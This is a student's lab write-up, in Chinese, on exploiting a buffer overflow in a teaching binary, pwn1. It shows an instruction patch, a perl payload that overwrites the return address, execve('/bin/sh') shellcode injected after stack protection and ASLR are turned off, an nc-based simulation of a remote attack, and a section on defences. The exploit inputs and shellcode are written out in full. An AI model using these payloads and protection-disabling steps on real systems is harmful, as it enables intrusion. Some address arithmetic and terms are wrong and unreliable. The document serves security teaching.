【网络对抗技术】20181234 Exp1 PC平台逆向破解
目录
4通过构造输入参数,造成BOF攻击,改变程序执行流——调用getshell
实验报告
1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
三个实践内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode
三种思路:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
2基础知识点及问题回答
2.1知识点
♠ Linux指令
- ls:显示文件或目录信息
- mkdir:当前目录下创建一个空目录
- cat:查看文本文件内容
- more:可以分页看
- less:不仅可以分页,还可以方便地搜索,回翻等操作
- echo:把内容重定向到指定的文件中。有则打开,无则创建
- 管道命令 | :将前面的结果给后面的命令
- 重定向:> 是覆盖模式,>> 是追加模式
♣ 反汇编指令
objdump -d filename| more
- objdump(object dump) 项目导出
- -d(disassemble) 反汇编
- filename 反汇编的可执行文件
- |为管道符
- more为分页指令
♥ vim编辑器实现十六进制编辑的功能
- 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
- 输入:%!xxd将显示模式切换为16进制模式;
- 进行相关操作后,输入:%!xxd -r转换16进制为ASCII码形式。
2.2问题回答
什么是漏洞?漏洞有什么危害?
♣实验中的漏洞是指在输入时,没有进行边界测试,导致输入溢出缓冲区,覆盖EIP,执行getshell。
♠日常中的漏洞是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,存在技术缺陷或者程序问题,从而使攻击者能够在未授权的情况下访问或破坏系统,执行我们想要的程序。
♥现如今漏洞影响面逐步扩大,超高危漏洞比率大幅增加,漏洞修复率处于历史较低水平,威胁形势依然严峻。
♦危害:
1.程序的正常功能无法按照预期执行,对服务器的安全收到影响,执行任意系统命令,攻击者能直接控制目标服务器,危害的严重程度重大;
2.程序被非法控制和破坏,安装恶意软件,导致病毒传播;
3.可能会导致信息泄漏,身份信息没有隐私,重要信息泄露,造成损失,暴露服务器的信息,使攻击者能够通过泄露的信息入侵;
4.帐号密码泄漏,导致攻击者直接操作网站后台或数据库,操控一些可能有危害,邮件泄露会被垃圾邮件骚扰,被攻击者利用社会工程学手段获取更多信息,扩大危害。
3直接修改程序机器指令,改变程序执行流程
3.1查看反汇编文件并计算地址变换结果
cp pwn1 pwn.bak //将老师给的pwn1文件进行备份

objdump -d pwn1 | more //对pwn1进行反汇编并找到函数main,foo,getshell

Δ对反汇编结果进行分析:
-
可以看到getshell函数的地址是804847d,foo函数的地址是8048491,main函数中call 8048491 <foo>指令的机器码是e8 d7 ff ff ff ,EIP的值是下一条指令的地址,即80484ba。
-
“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491,就是foo的内存地址
-
想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为
0x080484ba - 0x0804847d = 0xffffffc3

3.2修改可执行文件
0.vi pwn1
1.按下ESC
2.输入:%!xxd,将显示模式切换为16进制模式
3.输入/d7 //查找需要修改的地方(如果搜e8 d7注意要有空格,否则会搜索不到)可以多查找几次,以防有重复字段
4.按下i,插入模式,将d7改为c3
5.按下ESC,输入:%!xxd -r //转换16进制为原格式,这一步一定要做,否则在反编译时会提示格式错误
6.输入:wq,保存并退出
7.objdump -d pwn1 | more //对比确认



3.3再次运行可执行文件
./pwn1是修改后的结果——实现shell
./pwn1.bak是未修改的结果——回显输入

4通过构造输入参数,造成BOF攻击,改变程序执行流——调用getshell
4.1反汇编,了解程序的基本功能
通过反汇编我们可以看到

Θ这个可执行文件正常运行是main函数调用foo函数,但是foo函数存在bufferoverflow的漏洞,我们可以利用这个漏洞,取消原本正常执行的foo函数回显输入字符串的功能,触发原本不能执行的getshell函数。
Θ观察foo函数可以发现,“lea -0x1c(%ebp),%eax”表示系统只预留了28字节的缓冲区,经计算得出实现缓冲区溢出的字符数为28+4个字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节

4.2确认输入字符串哪几个字符会覆盖到返回地址
在gdb中输入至少36字节的数据,即1111111122222222333333334444444412345678,可以看到给出了Segmentation fault的错误提示,同时可以查看到eip寄存器的地址为0x34333231(这里的1234是ASCII码,换成16进制就是0x34333231),可知getShell的地址放在了33~36字节且为小端序存放

当程序遇到被覆盖的返回地址,CPU会尝试执行这个位置的代码,进而发现并没有东西,所以产生Segmentation fault——段错误。只要我们把33~36字节的字符替换为getshell的内存地址,输入给程序,程序就会运行getshell函数。

4.3确认用什么值来覆盖返回地址
-
由反汇编可以看到的地址是804847d
-
从gdb可以看出地址存放为小端序,所以输入为
11111111222222223333333344444444\7d\x84\x04\x08。
4.4构造输入字符串
因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
使用16进制查看指令xxd查看input文件的内容是否如预期,然后将input的输入,通过管道符“|”,作为pwn2的输入。

4.5函数调用与堆栈
ret =pop EIP
正常:eip是下一条指令的地址,pop eip就是80484ba到eip中,下一条执行80484ba
缓冲区溢出:eip=0x34333231,找不到就报segment fault

5注入Shellcode并执行
5.1准备一段Shellcode
-
shellcode就是一段机器指令(code)
-
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
-
所以这段机器指令被称为shellcode。
-
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
-
-
我们需要确定shellcode放哪,shellcode可能在EIP前或是EIP后,这取决于操作系统,此次实验放在EIP后面。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
5.2准备工作
-
下载安装prelink,否则无法使用execstack命令
-
放入kali解压,进入prelink文件夹打开终端
sudo apt-get install libelf-dev
./configure
make
sudo make install
-
堆栈可执行(shellcode放在堆栈上,正常是不可执行的)
-
关闭地址随机化,使得第1、2次调试中使用堆栈地址不变,一般堆栈随机化,防范多次调试。
-
关闭AL8R
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
sudo -s //否则权限不够
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space

5.3构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- retaddr+nop+shellcode
- nop+shellcode+retaddr
-
缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
-
结构为:nops+shellcode+retaddr。
-
nop一为是了填充,二是作为“着陆区/滑行区”。
-
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
- 最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
- 最后一个字符千万不能是\x0a。why:为了让程序停在gets获取字符串的函数前,相当于输入了字符没有按回车键,否则程序执行了gets就直接运行puts函数,就直接运行完了,没有机会停留在进程中让我们打开调试
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
Δ打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn2

Δ再开另外一个终端,用gdb来调试pwn2这个进程。一定要另开一个终端!查看esp寄存器,要根据自己的地址进行下面的操作!!!
ps -ef | grep pwn1 //找到pwn1的进程号是:2277
gdb //打开gdb调试器
//以下在gdb中进行
attach 2277 //绑定进程
//通过设置断点,来查看注入buf的内存地址
disassemble foo
//断在这,这时注入的东西都大堆栈上了
//ret完,就跳到我们覆盖的retaddr那个地方了

break *0x080484ae //在另外一个终端中按下回车!!
c //继续

info r esp //查看esp寄存器,要根据自己的地址进行下面的操作!!!
x/16x 0xffffd5ac //看到01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5b0

perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode xxd input_shellcode (cat input_shellcode;cat) | ./pwn1


攻击成功了!!!!!!
5.4结合NC模拟远程攻击
在同一主机上进行模拟攻击
首先是在主机1上模拟一个有漏洞的网络服务
nc -l 127.0.0.1 -p 28234 -e ./pwn1 //-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
然后是在主机2上连接主机1并发送攻击载荷
(cat input_shellcode; cat) | nc 127.0.0.1 28234
ls
然而攻击失败了!在主机2输入ls后,主机1报出了如下错误

询问同学得知可能是因为端口28324没有被打开
lsof -i:28324
发现端口确实没有被打开,于是打开端口重新测试
nc -lp 28234 & //打开28234端口
netstat -an | grep 28234 //查看28234端口是否被打开

攻击成功!
6Bof攻击防御技术
6.1从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
6.2注入入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
-c, --clear-execstack Clear executable stack flag bit
-q, --query Query executable stack flag bit
-s, --set-execstack Set executable stack flag bit
//此时我们的攻击可以执行,如上实验
execstack -s pwn1 //把堆栈设置为可执行
execstack -q pwn1 //查询堆栈状态
//此时我们的攻击不可执行了
excstack -c pwn1 //把堆栈设置为不可执行
execstack -q pwn1 //查询堆栈状态
//以下测试攻击
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

6.3增加shellcode的构造难度
shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加栈(heap)的随机化

echo "1" > /proc/sys/kernel/randomize_va_space //将mmap的基址,stack和vdso页面随机化 echo "2" > /proc/sys/kernel/randomize_va_space //在1的基础上增加栈(heap)的随机化。 more /proc/sys/kernel/randomize_va_space //查看 (cat input_shellcode;cat) | ./pwn1 //尝试攻击

6.4从管理的角度
- 加强编码质量。
- 注意边界检测。
- 使用最新的安全的库函数。
7 实验心得与体会
这一次实验从开始到结束写完博客用了一周多的时间,可以说我第一次如此认真且反复的去完成一个实验。在最开始的时候,看老师的实验指导都看不懂,到学习视频时一点点地做笔记,一个地方不懂要重放3、4遍,再到后面可以自己独立地输命令行,去分析每一步地错误在哪,可以说,这次实验真的让我收获良多。在学习地同时也遇到了不少问题,比如说,在做注入shellcode地那个实验点时,总是无法找到进程号,还有后面shellcode地址改变,进行攻击时也总是出错。还好这些问题都通过私下查阅资料和询问同学得到了解决。通过本次实验,我对缓冲区溢出攻击的原理有了更好的掌握,对栈空间的分配规则和漏洞的产生有了更好的了解,则也对自己的计算机防范积攒了更多的经验,后面还有很多攻击的实验,经过努力,我相信自己也能很好的完成。

浙公网安备 33010602011771号